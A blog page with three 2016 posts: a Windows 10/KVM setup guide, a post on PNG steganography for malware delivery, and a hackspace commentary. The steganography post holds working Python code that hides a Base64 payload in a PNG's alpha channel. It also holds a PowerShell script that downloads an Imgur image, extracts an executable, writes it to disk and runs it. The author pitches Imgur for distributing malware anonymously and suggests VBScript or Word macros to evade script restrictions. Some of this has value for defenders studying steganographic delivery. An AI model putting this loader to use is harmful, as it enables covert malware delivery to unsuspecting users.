Tuesday, 20 December 2016

Windows 10, Virtual Machine Manager, and KVM

I really, really like the fact that Microsoft has embraced Linux in the form of releasing Ubuntu on Windows. To me, it's probably the first Linux on the desktop solution that was as good as using Linux itself without having to worry about using virtualization for my Windows applications and games. However, it's not exactly a true Linux kernel running behind the scenes and there are other things that will not simply work.

For one, out of the box you cannot use any X11 applications without an X server installed and some extra configuration. However, it is relatively painless to get this up and running and just as easy to get Virtual Machine Manager working as well. If you already have access to the KVM tools on the VM host, you will be able to use it remotely using an SSH connection from the Windows computer.

This is what we're going to need to install:

  • OpenSSH Client
  • Virtual Machine Manager
  • Python Spice GTK module

Assuming that you have already gone ahead and updated and configured Windows 10 to use the feature, you'll want to use Xming to act as your X server. There are other X servers you can consider, including MobaXterm and XvxSrv, but I prefer Xming due to its simplicity and the fact that it sits in the tray once you launch it.

Running XLaunch after installing Xming brings up this screen. Personally, I prefer having it set to multiple windows but of course you'll want to set this to your liking. You can leave the rest as defaults and it should be fine.

With the X Server out of the way, we'll want to configure Bash on Windows to automatically connect to the X server. This can be done by editing the .bashrc file in your home directory with the following at the end:

export DISPLAY=:0

Close and reopen Bash on Windows and it is ready to go. You can test out whether or not it works by installing something like GEdit or Xterm to see if it launches.

We do however have to enable D-Bus for use as Virtual Machine Manager depends on it. We can do this real quickly by performing the following command:

sudo sed -i 's$<listen>.*</listen>$<listen>tcp:host=localhost,port=0</listen>$'\ 
/etc/dbus-1/session.conf

Once this is done we can now proceed to install VMM.

sudo apt-get install python-spice-client-gtk virt-manager openssh-client
This shouldn't take too long and once it's done all we have to do is type the following command:

virt-manager

And here we are!


It should be noted that you cannot create virtual machines on your Windows 10 computer using this method--you're better off using HyperV if you want to go down this road. However, it is at this point that we can connect to a KVM host using SSH.

You'll want to configure OpenSSH within Bash on Windows first with key-based authentication to proceed but once that is done it's relatively simple to configure the system. Under the File menu, you'll see Add Connection which will ask you for some details:


You should see your VMs populate now:



And you can even use them as a console:


Enjoy.

Friday, 2 December 2016

Going viral on Imgur with Powershell and PNG

A few months ago, Kaspersky put out some research into using PNGs to distribute malicious payloads where malware authors had been embedding PE files into the images themselves. The give-away that something was amiss was the images had a 63x48 pixel resolution but were sized at 1.3 MB.

This isn't very stealth and there are ways to do this better.

Encoding a file within a PNG


First, it helps to understand a PNG file. Unlike JPEG, PNG is lossless even though it is compressed, meaning that when you create an image in the format, it retains the data that it has been generated until the resolution or colour pallette is modified. Unlike a GIF, a PNG file handles transparency through an alpha channel instead of colour substitution.

It's this compression and the alpha channel that will enable us to embed data into a PNG. Each pixel is represented by three 8-bit values for colour and another 8-bit values for transparency level (referred to as an "alpha channel"). This means that each pixel would be presented as R, G, B, and A with values from 0-255 on each.

Here's a sample image (sourced via Wikipedia) with what I am talking about:

This image is 800x600 pixels with 8-bit colour and an alpha channel, meaning that we have 480,000 pixels, or 468 KB of data that we can place within. Let's use Pillow and Python to mess with this.

Using the above script is relatively straightforward:

from PIL import Image
from sys import argv
from base64 import b64encode

i = argv[1]
o = argv[2]
with open(argv[3], 'rb') as f:
    text = f.read()

img_in = Image.open(i)
img_pad = img_in.size[0] * img_in.size[1]
text = b64encode(text)
if len(text) < img_pad:
    text = text + '\x00'*(img_pad - len(text))
else:
    print('File is too large to embed into the image.')
    quit()
text = [text[i:i+img_in.size[1]] for i in range(0, len(text), img_in.size[1])]

img_size = img_in.size
img_mode = img_in.mode
img_o = Image.new(img_mode, img_size)

for ih, tblock in zip(xrange(img_in.size[0]), text):
    for iv, an in zip(xrange(img_in.size[1]), [ord(x) for x in tblock]):
        x, y, z, a = img_in.getpixel((ih, iv))
        pixels = (x, y, z, an)
        img_o.putpixel((ih, iv), pixels)

img_o.save(o)

Executing it is as follows:

$ python encode.py image.png image_out.png payload.dat

When it runs, it ensures that the payload is not larger than the image can handle then encodes it using Base64 then pads it with null bytes until it reaches the size of the total number of pixels. Then the process of replacing each alpha channel value with the value of the character in the encoded data is done and then saved to disk.

Let's embed an image into an image shall we!


Inside of this image I've encoded a JPEG within it. The image has obviously changed towards a bit of a softer look with some jankiness in the transparency but you'd normally never think of it being suspicious. With some changes to the encoding process it is possible to make the alpha channel blend in a lot more naturally.

For the curious, this is the image that was embedded within:


This Python script can retrieve the data out of the image:

from PIL import Image
from sys import argv
from base64 import b64decode

i = argv[1]
o = ''
s = argv[2]

img = Image.open(i)

for x in xrange(img.size[0]):
    for y in xrange(img.size[1]):
        p = img.getpixel((x, y))
        p = p[-1]
        o = o + chr(p)

o = o.replace('\000', '')
o = b64decode(o)

with open(s, 'wb') as f:
    f.write(o)

We can confirm that nothing is lost by running these commands:

$ md5 blog_sample.png
MD5 (blog_sample.png) = 694ab6d3260933f75dec92ba01902f9b
$ python encoder.py blog_sample.png blog_sample.out.png antivirus.jpg
$ md5 blog_sample.out.png
MD5 (blog_sample.out.png) = 10a4fd1bf52d0bfa50ced699f8c53c39
$ md5 antivirus.jpg
MD5 (antivirus.jpg) = 84893c561288b6a1a9d76f399a89d51b
$ python decoder.py blog_sample.out.png antivirus.orig.jpg
$ md5 antivirus.orig.jpg
MD5 (antivirus.orig.jpg) = 84893c561288b6a1a9d76f399a89d51b

As you can see the file contents do not change by the embedding of data within the image's alpha channel.

Let's use Imgur and Powershell to abuse this


Since its debut on Reddit, Imgur has become one of the largest image hosting services. This is largely due to its ease of access in uploading images without requiring anyone to create an account.

In tests, Imgur does appear to strip out data that doesn't belong to an image. That is, you cannot use a old technique where you combine a zip file with a JPEG or PNG on their service as it appears to outright strip the data.

Since we know that it'll remove these hybrid files, the question then becomes whether it removes the data we encode as demonstrated earlier. Let's try uploading the sample image from earlier and check.

$ md5 blog_sample.out.png
MD5 (blog_sample.out.png) = 10a4fd1bf52d0bfa50ced699f8c53c39
$ wget https://i.imgur.com/Oj8FhU5.png
--2016-11-24 13:56:50--  https://i.imgur.com/Oj8FhU5.png
Resolving i.imgur.com... 151.101.52.193
Connecting to i.imgur.com|151.101.52.193|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 664208 (649K) [image/png]
Saving to: 'Oj8FhU5.png'

Oj8FhU5.png               100%[====================================>] 648.64K  2.42MB/s   in 0.3s

2016-11-24 13:56:51 (2.42 MB/s) - 'Oj8FhU5.png' saved [664208/664208]

$ md5 Oj8FhU5.png
MD5 (Oj8FhU5.png) = 10a4fd1bf52d0bfa50ced699f8c53c39

As we can see here, the file from earlier was uploaded to Imgur has not been altered.

So where do we go from here? How is this useful? Well to start, the thing that Imgur is great for is that you do not need to sign up with an account to upload an image. Why not use it to distribute malware without having to provide too many details?

One thing to be concerned about is that you have to have the ability to retrieve the PNG image and then process it as while there have been code execution issues with PNG libraries in the past, for the most part just loading a payloaded-image is unlikely to result in compromise.

Fortunately, Windows has built-in functions that straight up let you work with an image and extract the pixel data. This can be achieved using Powershell without any additional modules. The code is as follows:
Add-Type -AssemblyName System.Drawing 
Add-Type -AssemblyName System.Text.Encoding

$strURL = "http://i.imgur.com/nckqSN1.png"
$strFilename = "c:\temp\payloadb64.png"
$peOutputFile = "c:\temp\calc.exe"

Invoke-WebRequest -Uri $strURL -OutFile $strFilename

$image = [System.Drawing.Image]::FromFile($strFilename)
$peBase64 = @()
for ($w=0;$w -lt $image.Width;$w++)
{
    $row = @()
    for ($h=0;$h -lt $image.Height;$h++)
    {
        $pixel = ($image.GetPixel($w,$h)).A
        $pixel = [convert]::toint32($pixel, 10)
        $pixel = [char]$pixel
        $row += $pixel
    }
    $peBase64 = $peBase64 + $row 
}

$peImage = @()
foreach ($peValue in $peBase64)
{
    if ($peValue -ne "`0")
    {
        $peImage = $peImage += $peValue
    }
}

$peImage = [System.Convert]::FromBase64String($peImage)
[System.IO.File]::WriteAllBytes($peOutputFile, $peImage)
& $peOutputFile
The script works as follows:
  1. Download a PNG from Imgur and save it to disk
  2. Using System.Drawing, read every pixel and extract the alpha (A) value
  3. Ensure that all null values (0x00) are stripped from the array
  4. Decode Base64 and write file to disk
  5. Run the newly decoded file as an executable
And based on the above code, it of course executes calculator:


Executing the above code does require that your system's policy to allow the execution of Powershell scripts. That said, while on most home computers this is not an issue as it is disabled by default, many enterprise environments require this to be on. A way around any restrictions could be to execute the code with the help of VBScript and perhaps storing all of this within a Word macro.

Mitigation


One thing to keep in mind is that while the attack was done using Powershell, it doesn't mean that you couldn't achieve this with a Word document with an embedded macro. Avoiding executing any unwanted code is really the best way to go about avoiding this from an enduser perspective.

Imgur's response


Imgur did get back to me stating that while informative there isn't an immediate need to fix the issue due to the impact it presents.

Last Remark


I want to make it clear here that what I am showing with embedding data through a stenographic process is far from new, as it was one of the many challenges at this year's CSAW CTF qualifiers. It is a relatively common practice and there are many guides out there to read and software suites to use.

Also, yesterday, PortSwigger posted an article on doing something similar using JPEG files that was rather interesting.

Thursday, 1 December 2016

A follow up on Vancouver Hack Space

A few weeks ago, I penned an entry on my thoughts about the direction Vancouver Hack Space (VHS) had gone and what lead to my decision to ultimately leave it. My opinion about the matter has not changed but there were comments left and I would like to reply to them.

I should be clear that I am not going to direct the replies necessarily at the commenters themselves, so please forgive me if you feel like I am finger pointing at any specific individuals.

I think it's interesting that you're pining for a VERSION of VHS, rather than evaluating what VHS has become. It's entirely valid to feel that what you're personally looking for in a hackspace is no longer found at VHS, but personally I think that the "be everything to everyone" attitude is a great model.

The reason for why I left the space was primarily because it was having a larger toxic element to it than it did before and there were individuals who felt like it was better to have a top-down approach to dealing with matters than a consensus approach where everybody who was a member had a say in things.

The "be everything to everyone" model was something that creeped into VHS over time and lead to being too inviting, meaning that while we wanted people who didn't know anything to learn, we didn't want people who didn't want to learn to join. There are people at VHS now who do nothing more than exist as a VHS member, adding no value other than saying that they're a member or to occupy space for a hobby that is hard to get into--such as the amateur radio station.

If you prefer a version of VHS yourself that is losing over a dozen members each month based on how I describe it then so be it. I am not sure why you'd want a space that allows members who engage in harassment towards others with little resolve but whatever keeps you happy I guess. Your space is not immune from criticism just as much as my opinion isn't either.

He's since been banned from the space for stealing VHS property (a web domain) and continues to (in my opinion, though he's at least polite about it) harass current and potential members on social media "warning" them about the toxic environment, that he himself has created.

I'm glad to hear that the space has taken steps to ban someone from the space for stealing a domain, but am dismayed that you see his opining on how toxic the environment constitutes as harassment. If he (like myself) believes that something is toxic to be part of, he has every right to tell someone about it. This is not harassment.

If VHS were truly about stopping harassment, it needs to look within. I was corrected on the membership status (or lack there of) of the individual I mentioned in my original piece, but he is still actively a part of the space and is encouraged to be there by the same individual who was harassing the person that VHS had banished. This to me is enough to say that VHS is a toxic space.

Banning someone from the space is only required when you're dealing with real problems. Someone who has been banned from other groups and is harassing members (such as myself) should be an immediate ban. Someone who has had the cops called on them at the space and has possibly been involved in the destruction of a member's project should face an immediate ban. The fact that the decision to ban someone is being made but other examples are being overlooked tells me that there is a vindictive nature to the board and it's not healthy.

For the record, when I was still actively involved in VHS, this person had been banned before already and he was the second one to have been banned to begin with. The other person who was banned was banned because they came to borrow an angle grinder for the purposes of removing a bike lock for the second time in two weeks--there were other incidents that lead to this decision but this was the final straw.

As much as it pains me to say this, looking at how Noisebridge deals with this is sort of a way to learn from this all.

As for queer members, there's at least me, I agree that's not much, but from the people that I've seen coming to the open nights, it's not exactly a case of not making the space seem safe as much as perhaps not advertising the space's existence in the correct places?

I'm happy to hear that there are members of the LGBTQ community that take the time to be part of the space, but my point about how it presents itself as a bunch of white males does not change. The space doesn't need to advertise better.

VHS is a cheap place to use a laser cutter. That's about it these days. There are still some excellent people down there that only know it in its current form, and that's unfortunate. 

VHS has a tonne of good equipment and that should draw in people to use it. If you're losing so many members per month but have all of this great gear, what do you suppose the reasons behind it are?

The fact that this isn't being addressed and instead you're looking to do silly things like make a member-in-residence role where they maintain the space during its off-hours and not have to pay membership dues tells me that there are problems being overlooked. We never considered this and while there were times people were being messy with stuff being left behind out of order, it never got to the point where we needed anyone to come in and clean it up regularly.

first kudo's if you were one of the founding members of the Hackspace

This isn't the case. Vancouver Hack Space formed in early 2009, but I had joined in July that year but not at the point of its formation. You can say that I was one of the original members of the space (like the first dozen or two) but I do not count myself as a "founding member". I guess legally I can say I was a founding member as I believe I was one of the original signatories as per the Societies Act, but my memory is fuzzy on this one.

I believe that no founding member nor anyone pre-2010 is still a member of VHS in good standing.

Apparently in those days you also had to "Disclose your motives and affiliations" - number 5 on the list of "Principles of Unity"

There was a good reason for this and that was to prevent people from usurping the space and using it for their own political purposes--VHS was intended at its start to be as apolitical as it could be.

Prior to the 2010 Winter Olympics, anyone associated with any group that was against the Olympics or anything associated to it were being harassed by the RCMP and Vancouver Police Department. A number of the original members who founded the space or were part of it in its early days had found themselves either being followed or documented due to their involvement or relationship to these groups. I do know for a fact that I was being targeted even though my affiliation with these groups was purely through friendship and association--I never participated with any of these groups either and for the record I actually attended a curling match during the games.

We had instances where independent media groups had asked us to use the space so they could work on their video projects--we said no. We had people who wanted to throw some party during the Olympics--we said no. It wasn't easy but we did our damnedest to avoid being affiliated directly with any political movement.

We also suspected that the space had been bugged at one point although it is tough to say whether or it was true or if we were just being overly paranoid--it would have not been hard to hide such things in 45W and with more and more I learn about surveillance it's hard to believe otherwise.

When you joined VHS, we wanted to know why you were interested in being part of it. Was it to learn? Was it to pitch a multi-million dollar shitheap of a startup? Or was it because you wanted to make the space into something of your own?

These original rules of VHS served us well and the fact that today you proudly display a code of conduct and by-laws tells me that the space has gone from being a place that would do cool things to a place that really is a maker space and nothing more. To me, VHS has gone from being a hackerspace to a non-profit tech shop--the front page proudly demonstrates that by stating "[the] community garage for a community without garages".

There is nothing wrong with it becoming this, but it would be less of a problem to me if the element of harassment was dealt with appropriately and it kept the same diversity it had when VHS was really at its peak in 2012/2013.

My other comment is about the wall in the "Bunker" space - it was there for a reason, that being to keep dust out of the common area and also reduce the noise - not to segregate one activity from another.

I know why the wall was put up and completely understand this. My point was a philosophical one.

I want to say openly that there are people who are still involved with VHS that I still respect and I do hope that while I am lambasting what it has become that they don't see me as someone who is engaging in harassment towards it and its members.

Closing off, I have had a few members reach out to me about my opinions and I do want to address two things.

For one thing, I was corrected that the harassing individual is not listed as a member of the space. While I am happy to hear this, I still believe that his existence at the space on some sort of interval is a symptom of the problems the space is facing that ultimately lead to me not wanting to be around. The fact that he is associated (either as an acquaintance or an actual friend I do not know) with the individual that had the VPD called on them is even more alarming.

Secondly, while I appreciate being asked on how to fix the space, I actually don't want to. It's not that it can't be fixed, but VHS has sort of succumbed to the Ship of Theseus paradox, where while it's VHS in name, it's not it's not the same VHS we started off at.

I appreciate those coming out to offer their comments and asking questions, but my opinion is that VHS has become something I don't care for any longer.